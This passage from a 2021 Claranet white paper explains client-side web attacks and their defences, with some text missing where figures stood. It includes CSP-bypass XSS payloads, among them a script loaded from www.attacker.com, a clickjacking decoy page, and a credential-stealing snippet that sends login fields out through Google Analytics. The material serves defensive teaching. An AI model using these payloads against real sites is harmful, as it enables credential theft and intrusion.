Attack
Referer Header Leakage is when the application leaks sensitive information through
Referer Header. The browser sends the Referer header in the request from which the
request has been called. For initial request when we directly access the application,
the Referer header will not be sent. The application sends the value of the current
page to each consecutive request accessed from that page, such as other pages,
JavaScript, CSS etc. Generally, the Referer header helps to log user’s actions such
as data analytics and navigation based analysis.
The application sometimes uses REST based parameters which may leak the
sensitive information when this data is being sent. For example, the application has a
Reset password token stored in the URL and this page has several third-party
Page | 39
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defence
The application should not transmit sensitive information through the request URL. If
the application requires to send sensitive information through the URL, it is
recommended to use Referrer-Policy header to prevent third-party leakages.
Case Studies
Attack
MIME Sniffing, which is also known as Content Sniffing or Media Sniffing. The
application is vulnerable to MIME Sniffing vulnerability if the application fails to
implement the response header ‘X-Content-Type-Options’ with the value ‘nosniff’ and
an attacker can force the browser to convert or use ‘Content-Type’ which may lead to
vulnerabilities.
Defence
The application should set the HTTP response header ‘X-Content-Type-Options’ with
‘nosniff’ value to prevent MIME Sniffing vulnerabilities.
Page | 40
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Case Studies
Reference(s):
• https://hackerone.com/reports/126197
• https://hackerone.com/reports/369979
• https://hackerone.com/reports/151231
• https://hackerone.com/reports/78158
• https://hackerone.com/reports/77081
• https://en.wikipedia.org/wiki/Content_sniffing
Attack
File upload functionality can be manipulated which can result in Remote Code
Execution on server-side and execution of malicious JavaScript on client-side.
However, as we are discussing client-side vulnerabilities, we will be focusing on client-
site JavaScript execution only. File upload feature can help to perform Cross-Site
Scripting attacks using Scalable Vector Graphics (SVG) image, this can also be
leveraged to perform polyglot attacks such as uploading PNG, JPEG files by adding
malicious JavaScript in metadata comments. Exploitation of polyglot images can also
lead to bypass Content-Security-Policy and execution of JavaScript thereafter.
Polyglot is when the object is considered to have more than one technology or
language, image’s blob data can be manipulated by adding malicious JavaScript
which can lead to a malicious Polyglot image.
SVG is a great tool which helps from the Cross-Site Scripting exploitation point of view.
SVG has a vast variety of payloads which an attacker can use to execute malicious
JavaScript after uploading files. As we can execute malicious JavaScript using SVG,
it also helps to bypass Content-Security-Policy sometimes. Following is the list on how
an attacker can deploy SVG files to execute malicious JavaScript:
Except SVG images, an attacker can also use polyglot images such as JPG, PNG,
GIF with malicious payload within it.
Page | 41
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defence
The application should validate the contents of the file and should restrict the polyglot
images which can allow the execution of malicious JavaScript on client-side.
Case Studies
HTML5 has few validations in input fields such as Regex Pattern, Email Address,
Phone Number etc. However, HTML5 validations are not enough and consider it as a
single security implementation. An attacker can provide malicious inputs in the
parameter by intercepting the HTTP request and perform a testing on those input
fields.
Attack
Proxy servers can be configured to handle our requests which we can forward to
respective servers. For example, if you have an application
‘https://www.notsosecure.com’ and you do not want to use
‘https://api.notsosecure.com’, alternatively you can configure a proxy in a way that if
you send requests to ‘https://www.notsosecure.com/api’, it will redirect internally to
API host. Proxy servers can be configured with servers like Nginx, Apache2 etc.
To better understand let’s see the example diagram below, we can see that the
application accepts requests form ‘www.notsosecure.com’ domain only and internally,
when received at the server ‘www.notsosecure.com’ which has proxy configuration to
send API requests on API server and Payment requests on Payment server:
Page | 42
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defence
Ensure client-side checks are always complemented with the server-side validation.
Case Studies
References:
• https://portswigger.net/burp
• https://www.telerik.com/fiddler
Abuse of Functionality
Attacking Content-Security-Policy Misconfigurations
Attack
We already discussed Content Security Policy. Content Security Policy if not carefully
implemented or reviewed, an attacker would be able to bypass it and perform the
attacks against the application. Here, we will discuss Content-Security-Policy bypass
techniques.
Example 1:
Bypass Method:
<script>alert(document.cookie);</script>
Example 2:
Page | 43
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Bypass Method:
<script src=https://www.attacker.com/injectjavascript.js></script>
<script src=data:text/javascript,alert(document.cookie)></script>
Example 3:
<script
src=https://ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%
26context=1337></script>
AngularJS payload:
ng-app"ng-csp ng-click=$event.view.alert(1337)><script
src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
Defence
Page | 44
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Case Studies
However, the above scenario works in Edge to add content in the same directive. The
research also exploited it on Chrome by adding an additional directive ‘script-src-elem’
with value ‘*’ which overrides the existing script-src policy and allows the execution of
malicious JavaScript. The detailed blog can be found here.
This case study is about retrieving the credentials from any website which included
Google Analytics in their policy. Few researchers discovered a way which could send
credentials when the application has misconfigured Content-Security-Policy.
username = document.getElementsByName("session[username]");
password = document.getElementsByName("session[password]");
window.addEventListener("unload",
function logData(){
navigator.sendBeacon("https://www.google-analytics.com/collect",
'v=1&t=pageview&tid=UA-########&cid=555&dh=example.com&dp=%2f'+
btoa(username.item(0).value+':'+password.item(0).value)+'&dt=homepage');
}
);
Page | 45
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
References:
• https://hackerone.com/reports/199779
• https://hackerone.com/reports/250729
• https://medium.com/@bhaveshthakur2015/content-security-policy-csp-
bypass-techniques-e3fa475bfe5d
• https://portswigger.net/research/bypassing-csp-with-policy-injection
• https://www.perimeterx.com/tech-blog/2020/bypassing-csp-exflitrate-data
• https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-
bypass
• https://coil.com/p/RareData/Responsible-Disclosure-Stored-XSS-
Vulnerability-in-Coil-s-CDN-/Y11ELBKCD
• https://stegosploit.info/
Attack
Web Storage APIs - localStorage and sessionStorage allows the application to store
the information which is required constantly. Such information can be user
preferences, product related information etc. However, sometimes developers use this
feature to store Sensitive information such as Social Security Number, Personal
Account Number, Bank Account details, Session Tokens etc. As Web Storage APIs
are accessible through JavaScript, an attacker can retrieve such information if they
are able to execute malicious JavaScript. Retrieved information can be used for further
exploitation, an attacker can also perform session stealing attacks to retrieve session
tokens stored to the Web Storage.
Defence
The application should consider using Cookies instead of Web Storage for sensitive
information. Cookies can also be set with Httponly, Secure and Same-Site attributes.
Case Studies
• https://www.digitalocean.com/community/tutorials/js-introduction-
localstorage-sessionstorage
Clickjacking
Attack
Clickjacking, also known as a “UI redress attack”, is when a malicious actor uses
multiple transparent or opaque layers to trick a user into clicking on a button or link on
another page when they were intending to click on the top-level page. Thus, the
Page | 46
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
malicious actor is "hijacking" clicks meant for their page and routing them to another
page, most likely owned by another application, domain, or both.
Using a similar technique, keystrokes can also be hijacked. With a carefully crafted
combination of stylesheets, iframes, and text boxes, a user can be led to believe that
they are typing in the password to their email or bank account but are instead typing
into an invisible frame controlled by the malicious actor.
To better understand let’s see the example diagram below, in the diagram we can see
that the “payment.notsosecure.com” was framed and opened with low opacity and the
application “www.attacker.com” is visible to users. An attacker can load the application
in such a way that the actual contains are not visible to top users and when a user
clicks on “Click Here to Win!”, the victim tricked into click on “Share Payment Details”
button instead of the original action:
Code Snippet:
<html>
<head>
<style>
#target_website {
position:relative;
width:1500px;
height:900px;
opacity:0.001;
Page | 47
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
z-index:2;
}
#decoy_website {
position:absolute;
top:190px;
left:490px;
z-index:1;
}
#button{
position:absolute;
top:300px;
left:700px;
}
.button {
padding: 10px 15px;
font-size: 24px;
text-align: center;
cursor: pointer;
outline: none;
color: #fff;
background-color: #FF0000;
border: none;
border-radius: 15px;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1 id="title">Play Rummy Win Cash</h1>
<div id="button">
<button class="button">Click Here to Win!</button>
</div>
</div>
<iframe id="target_website" src="https://payments.notsosecure.com">
</iframe>
</body>
</html>
Defence
Page | 48
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Case Studies
https://hackerone.com/reports/591432
Attack
Web applications that are vulnerable to Cross-Site Request Forgery (CSRF) are
unable to distinguish actions requested by a user's browser from actions the user
intends to perform. When a user has an authenticated session with a site that stores
authentication tokens in cookies, the user's browser automatically appends the user's
authentication tokens to all requests it sends to that site. Since an attacker can cause
a victim's browser to submit requests without the victim's consent, web applications
that rely solely on authentication cookies to authorize actions will perform the
unintended actions the attacker requests whenever the victim has an authenticated
session.
CSRF attacks can execute sensitive transactions with the same authority granted to
the user's active session. Examples could include transferring money between
accounts, resetting an account password, or deleting data.
Page | 49
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defence
The application should use a unique token for each request when the purpose of
request is to perform Add, Edit, Delete application resourcing.
Case Studies
Cross-Site Request Forgery attack severity depends on the exploitation part, Cross-
Site Request Forgery becomes more severe when an attacker can transfer money
from one account to another, perform account takeover by modifying the password,
email address or mobile number. There are various case studies where a researcher
was able to perform account takeover due to lack of Cross-Site Request Forgery
tokens which includes applications such as Financial, Social Media, Ecommerce,
Defence application, Online Education platforms etc. Research on HackerOne also
submitted an Account Takeover vulnerability on the US Department of Defence portal
which was disclosed partially on HackerOne.
https://hackerone.com/reports/1058015
Attack
Page | 50
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
vulnerability to perform malicious actions. For example, an attacker can overwrite the
global variables for anchor tag if it is used by the vulnerable JavaScript.
Following is the code snippet which is vulnerable to DOM Clobbering vulnerability, and
this can be identified by observing JavaScript in the application, an attacker can
clobber the reference “VulnerableObject”:
<script>
window.onload = function(){
let VulnerableObject = window.VulnerableObject || {};
let script = document.createElement('script');
script.src = VulnerableObject.url;
document.body.appendChild(script);
};
</script>
Our payload uses the same id for both anchor tags, DOM groups both anchor tags
with the same id in a DOM collection. To better understand this, DOM collection simply
merges it and makes our payload:
Defence
Validate for the objects and functions to make sure it is legitimate. Avoid using OR
operators which can also lead to DOM clobbering vulnerabilities. Use trusted libraries
such as DOMPurify, that addresses DOM-clobbering vulnerabilities.
Case Studies
DOM Clobbering became a famous vulnerability after GMail suffered from it. Security
research identified Cross-Site Scripting vulnerability which was discovered via DOM
Page | 51
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Clobbering in AMP4 Email - Dynamic Mail feature. DOM clobbering allowed a security
researcher to inject malicious JavaScript to perform Cross-Site Scripting.
Reference(s):
• http://www.thespanner.co.uk/2013/05/16/dom-clobbering/
• https://portswigger.net/research/dom-clobbering-strikes-back
• https://portswigger.net/web-security/dom-based/dom-clobbering
Reverse TabNabbing
Attack
Reverse TabNabbing is an attack where an attacker can link a malicious page on the
target application. The malicious page can rewrite the target application, for example
to replace it with a phishing site. As the user was originally on the correct page, they
are less likely to notice that it has been changed with a phishing site, especially if the
site looks the same as the target. If the user authenticates to this phishing site, then
their credentials (or other sensitive data) are sent to the phishing site rather than the
legitimate one.
To better understand let’s see the example diagram below, in the diagram we can see
that the “accounts.notsosecure.com” uses the reference link of “www.attacker.com”
without “noopener” and “noreferrer” attributes. The application opens the page
“www.attacker.com” which has a malicious JavaScript to redirect the opener
application “accounts.notsosecure.com” to “phish.attacker.com”. An attacker can craft
a phishing page in a way that the user who is accessing the
“accounts.notsosecure.com” application will not know about this redirection which
allows to perform phishing attacks.
Page | 52
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Safe Code:
To understand how Reverse TabNabbing occurs, let’s think about the banking
application which is much secure and does not have any client-side vulnerabilities. An
attacker can try to find the reference link on the banking application from static pages
and try to find security loopholes on those applications to exploit this vulnerability and
perform phishing attacks. For e.g., the application “banking.notsosecure.com” has
references (bank owned or third-party) such as “bankingloaninformation.com”,
“rewardinformation.com”, “static.notsosecure.com”. An attacker can try to identify the
security loopholes and add a malicious JavaScript to redirect the users on the Phishing
page “banking.notsoosecure.com” by changing the window.opener property.
Page | 53
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Possible features:
• Provide features in the application to accept the reference URL - like profile
blog and that can be accessible with _blank - this will allow users to provide
the URL which they control to misuse this feature
• Social media share
• Create Reference URL to share
• Target third-party applications to misuse the usage of those on the
vulnerable page
However, few browsers recently added TabNabbing protection and no longer allows
access to the opener properties.
Defence
It is recommended to cut the back links between parent and child pages. Consider
using rel="noopener noreferrer", details are mentioned below:
• Add the attribute rel="noopener" on the tag which will be used to remove the
links between parent and child pages.
• Additionally, use an additional attribute “noreferrer” along with above, which
will prevent disclosing information related to referrer.
• For the JavaScript window.open function, add the values
noopener,noreferrer in the windowFeatures parameter of the window.open
function.
Case Studies
Reference(s):
• https://owasp.org/www-community/attacks/Reverse_Tabnabbing
• https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sh
eet.html#tabnabbing
• https://notsosecure.github.io/browser-security-enhancements/Tabnabbing-
Protection.html
Attack
Page | 54
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
To better understand Reflected File Download vulnerability, we can refer the following
image(Image Courtesy: Trustwave):
Defence
The application should prevent the downloading file and should restrict the extension
to *.bat and *.cmd.
Page | 55
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Case Studies
References:
• https://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view
• https://medium.com/@Johne_Jacob/rfd-reflected-file-download-what-how-
6d0e6fdbe331
• https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-
Download-A-New-Web-Attack-Vector.pdf
• https://hackerone.com/reports/39658
• https://www.acunetix.com/vulnerabilities/web/reflected-file-download/
• https://www.whitehatsec.com/blog/compromising-a-users-system-with-
reflected-file-download/
• https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/reflected-
file-download-a-new-web-attack-vector/
Page | 56
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defensive Strategies
Secure Communication
Usage of Strict-Transport-Security Header
HSTS Preload list is supported by browsers such as Firefox, Edge and Chromium,
which makes sures that the application mentioned in the preload list transmits each
request over HTTPS protocol only.
Reference:
• https://hstspreload.org
Alternatively, most web development platforms allow you to control the server's
caching directives from within individual scripts. Ideally, the web server should return
the following HTTP headers in all responses containing sensitive content:
• Cache-control: no-store
• Pragma: no-cache
Page | 57
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
The application should whitelist the origins which can access the resources. The
application should also avoid accepting all domains, subdomains, internal networks,
null origins. In an exceptional case, where the application requires arbitrary domains
to access the application resources, the application should allow it on that specific
page only.
The CORS headers must be configured on the server with allowed subdomain list, for
e.g., “api.notsosecure.com” and “www.notsosecure.com”. Enable-CORS is a very
good application which shows CORS related configurations for various servers.
• https://enable-cors.org/server.html
• https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
The application should restrict WebSocket connections from the whitelisted Origins.
Additionally, the application should only use Secured WebSocket protocol(wss://).
Avoid using event listeners for message events if it is not a requirement to receive
messages from other applications.
Avoid using all domains by using * for postMessage() method to send data to other
applications.
Headers to be used:
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Page | 58
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
if (crossOriginIsolated)
{
// Post SharedArrayBuffer
}
else
{
// Do something else
}
Input Validations
Cross-Site Scripting
Cross-Site Scripting (XSS) attacks occur due to insufficient, or lack of, input
sanitization and output encoding. It is recommended that:
HTML Injection
HTML Injection attacks occur due to insufficient, or lack of, input sanitization and
output encoding. It is recommended that:
Page | 59
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Implement validations to make sure that the objects or functions work as intended.
DOM nodes should be checked to ensure that the property is an instance of
NamedNodeMap. NamedNodeMap ensures that the property is an attributes property
and not a clobbered HTML element.
Additionally, avoid writing code that references a global variable in conjunction with
the logical OR operator (||).
References:
• https://developer.mozilla.org/en-US/docs/Web/API/NamedNodeMap
Information Leakage
Subresource Integrity
Implementing the Subresource Integrity (SRI) by adding integrity attribute in script tag
along with a base64 encoded hash value with hashing algorithm sha256, sha384 or
sha512:
We can use Content Security Policy to require all your scripts and/or stylesheets to
use SRI.
However, this feature is for experimental purposes only and this is not supported by
all browsers so better to not use it in production environments.
References:
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-
Security-Policy/require-sri-for
Page | 60
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
The application should not transmit sensitive information through the request URL. If
the application requires to send sensitive information through the URL, it is
recommended to use Referrer-Policy header to prevent third-party leakages. Below
are some of the “no-referrer” directives that can be added to prevent referrer leakage
Note: Restarting the server is required. Also, ensure you have enabled
“mod_headers.so”.
Content-Security Policy
Set the “Content-Security-Policy” header and ensure its policy is appropriately defined
in accordance with the principle of least privilege. It is to be kept in mind that this
feature, if implemented incorrectly, can cause the sites to stop working and hence it is
essential that rigorous testing takes place around this header before it goes live in
production.
Page | 61
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Feature-Policy: geolocation *;
Feature-Policy: unsized-media 'self' https://example.com;
Feature-Policy: camera ‘none’;
Page | 62
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Apart from the issues discussed above, below are some of the vulnerabilities that one
must be aware of especially in the context of these modern JavaScript frameworks:
References:
• https://portswigger.net/kb/issues/00200308_client-side-template-injection
• https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-
underrated-vulnerability-impacting-javascript-applications
• https://www.acunetix.com/blog/web-security-zone/deserialization-
vulnerabilities-attacking-deserialization-in-js/
• https://www.informit.com/articles/article.aspx?p=659519&seqNum=4
Page | 63
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://caniuse.com/?search=Content-Security-Policy
https://caniuse.com/?search=X-Frame-Options
https://caniuse.com/?search=X-XSS-Protection
Page | 64
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://caniuse.com/?search=Strict-Transport-Security
https://caniuse.com/?search=Content-Disposition
Page | 65
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://caniuse.com/?search=Access-Control-Allow-Credentials
https://caniuse.com/?search=Access-Control-Expose-Headers
https://caniuse.com/?search=Access-Control-Max-Age
Page | 66
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://caniuse.com/?search=Access-Control-Allow-Methods
https://caniuse.com/?search=Access-Control-Allow-Headers
https://caniuse.com/?search=Timing-Allow-Origin
Page | 67
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://caniuse.com/?search=Cache-Control
• Pragma - This header can be set with the value “no-cache” to instruct
browsers to release the cached copy of a particular cached request. This
header is generally used in conjunction with the “Cache-Control” header.
https://caniuse.com/?search=Pragma
• Content-Type - This header can be used to represent the media type of the
content.
https://caniuse.com/?search=Content-Type
• Feature-Policy - This header can be used to allow and deny the use of
browser features in its own frame, and in content within any <iframe>
elements in the document.
Page | 68
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://caniuse.com/mdn-http_headers_feature-policy
https://caniuse.com/mdn-http_headers_referrer-policy_same-origin
Page | 69
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Conclusion
We discussed about Client-Side attacks and defenses of those attacks. To
summarize, all the things, client-side vulnerabilities such as Cross-Site Scripting,
Cross-Site Script Inclusion, Cross-Origin Resource Sharing, Cross-Site Request
Forgery, Man-in-the-Middle, Clickjacking, Information Sharing / Leakage can be
patched with the suggestions mentioned in this whitepaper. We discussed on the
client-side vulnerabilities and strategies to identify simple configuration changes that
developers can implement via custom headers to reduce / mitigate the effect of the
threat.
This whitepaper explained the client-side attacks and defenses using 3 different
sections.
The first section explains about client-side components Hypertext Transport Protocol,
Hypertext Markup Language, Cascading Style Sheets, JavaScript, Same-Origin-
Policy, Cross-Origin Resource Sharing, Cross-Document Messaging, WebSocket,
Cookie and Web Storage. The details mentioned in this section are required to
understand client-site vulnerabilities more effectively.
The third section outlines recommendations about each vulnerability mentioned in the
Client-Side section. Application developers or system administrators can work on the
provided recommendations to mitigate the security issues.
Page | 70
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Credits
Authors
Savan Gadhiya
Dharmendra Gupta
Editor
Vernon King
Reviewers
Rohit Salecha
Anant Shrivastava
Ashwini Varadkar
Page | 71
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Abbreviation
AJAX - Asynchronous JavaScript And XML
UI – User Interface
XHR - XMLHttpRequest
Page | 72
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
References
https://notsosecure.github.io/browser-security-enhancements/
https://portswigger.net/web-security/cors/same-origin-policy
http://www.websocket.org
https://www.notsosecure.com/how-cross-site-websocket-hijacking-could-lead-to-full-session-compromise/
https://christian-schneider.net/CrossSiteWebSocketHijacking.html
https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
https://docs.ioin.in/writeup/www.exploit-db.com/_docs_40287_pdf/index.pdf
https://www.youtube.com/watch?v=XTKqQ9mhcgM
https://robertnyman.com/2010/03/18/postmessage-in-html5-to-send-messages-between-windows-and-
iframes/
https://portswigger.net/web-security/dom-based/controlling-the-web-message-source
https://jlajara.gitlab.io/web/2020/06/12/Dom_XSS_PostMessage.html
http://benalman.com/projects/jquery-postmessage-plugin/
https://medium.com/javascript-in-plain-english/javascript-and-window-postmessage-a60c8f6adea9
https://davidwalsh.name/window-postmessage
https://blog.teamtreehouse.com/cross-domain-messaging-with-postmessage
https://javascript.info/cross-window-communication
https://portswigger.net/daily-swig/xss-vulnerability-in-login-with-facebook-button-earns-20-000-bug-bounty
https://hackerone.com/reports/603764
https://hackerone.com/reports/398054
https://hackerone.com/reports/231053
https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/
https://ysamm.com/?p=493
https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-
your-precious-token/
https://www.someattack.com/Playground/About
https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-
Callback-For-Same-Origin-Policy-Bypass-wp.pdf
http://www.benhayak.com/2015/06/same-origin-method-execution-some.html?m=1
Page | 73
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://portswigger.net/bappstore/9fea3ce4e79d450a9a15d05a79f9d349
https://beefproject.com/
https://www.softwaresecured.com/the-rise-of-javascript-xss-and-practical-mitigation-
techniques/#:~:text=Wikipedia%20defines%20XSS%20as%3A,pages%20viewed%20by%20other%20users
https://beefproject.com
https://www.hackerone.com/top-ten-vulnerabilities
https://vbharad.medium.com/stored-xss-in-icloud-com-5000-998b8c4b2075
https://ysamm.com/?p=525
https://owasp.org/www-community/attacks/Cross_Frame_Scripting
https://owasp.org/www-community/attacks/Cross_Frame_Scripting
https://www.acunetix.com/blog/web-security-zone/cross-frame-scripting-xfs/
https://www.checkmarx.com/knowledge/knowledgebase/XFS
https://capec.mitre.org/data/definitions/587.html
http://applicationsecurity.io/appsec-findings-database/cross-frame-scripting/
https://www.netsparker.com/blog/web-security/cross-frame-scripting-xfs-vulnerability/
https://hackerone.com/reports/534450
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for
https://www.riskiq.com/blog/labs/magecart-british-airways-breach/
https://www.w3.org/TR/SRI/
https://www.w3.org/TR/SRI/#dfn-integrity-metadata
https://www.srihash.org/
https://securityboulevard.com/2018/09/protect-yourself-from-magecart-using-subresource-integrity/
https://blogs.u2u.be/peter/post/use-subresource-integrity-checking-for-external-scripts
https://hackerone.com/reports/126197
https://hackerone.com/reports/369979
https://hackerone.com/reports/151231
https://hackerone.com/reports/78158
https://hackerone.com/reports/77081
https://en.wikipedia.org/wiki/Content_sniffing
https://portswigger.net/burp
Page | 74
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
https://www.telerik.com/fiddler
https://research.google.com/pubs/pub45542.html
https://portswigger.net/research/bypassing-csp-with-policy-injection
https://hackerone.com/reports/199779
https://hackerone.com/reports/250729
https://medium.com/@bhaveshthakur2015/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
https://portswigger.net/research/bypassing-csp-with-policy-injection
https://www.perimeterx.com/tech-blog/2020/bypassing-csp-exflitrate-data
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
https://coil.com/p/RareData/Responsible-Disclosure-Stored-XSS-Vulnerability-in-Coil-s-CDN-/Y11ELBKCD
https://stegosploit.info/
https://www.digitalocean.com/community/tutorials/js-introduction-localstorage-sessionstorage
